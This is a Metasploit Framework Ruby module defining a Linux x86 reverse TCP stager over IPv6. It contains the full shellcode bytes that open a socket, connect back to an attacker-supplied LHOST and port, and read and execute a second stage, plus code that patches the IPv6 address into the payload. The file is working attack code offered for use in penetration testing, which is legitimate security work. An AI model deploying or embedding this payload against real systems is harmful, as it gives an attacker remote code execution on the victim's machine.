##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/reverse_tcp'

# Linux Reverse TCP/IPv6 Stager
module MetasploitModule

  CachedSize = 77

  include Msf::Payload::Stager
  include Msf::Payload::Linux

  def self.handler_type_alias
    "reverse_ipv6_tcp"
  end

  def initialize(info = {})
    super(merge_info(info,
      'Name'        => 'Reverse TCP Stager (IPv6)',
      'Description' => 'Connect back to attacker over IPv6',
      'Author'      => 'kris katterjohn',
      'License'     => MSF_LICENSE,
      'Platform'    => 'linux',
      'Arch'        => ARCH_X86,
      'Handler'     => Msf::Handler::ReverseTcp,
      'Stager'      => {
          'Offsets' => {
            'ADDR' => [ 0x15, 'foo' ],
            'LPORT' => [ 0x2c, 'n' ],
            'SCOPEID' => [ 0x11, 'V' ]
          },
          'Payload' =>
            "\x31\xdb\x53\x43\x53\x6a\x0a\x89\xe1\x6a\x66\x58\xcd\x80\x96\x99" +
            "\x68\x00\x00\x00\x00\x68\xde\xad\xbe\xef\x68\xde\xad\xbe\xef\x68" +
            "\xde\xad\xbe\xef\x68\xde\xad\xbe\xef\x52\x66\x68\xbf\xbf\x66\x68" +
            "\x0a\x00\x89\xe1\x6a\x1c\x51\x56\x89\xe1\x43\x43\x6a\x66\x58\xcd" +
            "\x80\x89\xf3\xb6\x0c\xb0\x03\xcd\x80\x89\xdf\xff\xe1"
        }
      ))

    register_options([
      OptInt.new('SCOPEID', [false, "IPv6 scope ID, for link-local addresses", 0])
    ])
  end

  # This isn't pretty, but then again neither are IPv6 addresses --Kris
  def replace_var(raw, name, offset, pack)
    return false unless name == 'ADDR'

    addr = ""
    substitute_vars(addr, { 'LHOST' => [ 0, 'ADDR6' ] })

    repl = ""

    addr.unpack('V*').reverse.each do |x|
      repl += Rex::Arch::X86.push_dword(x)
    end

    raw[offset, repl.length] = repl

    true
  end
end
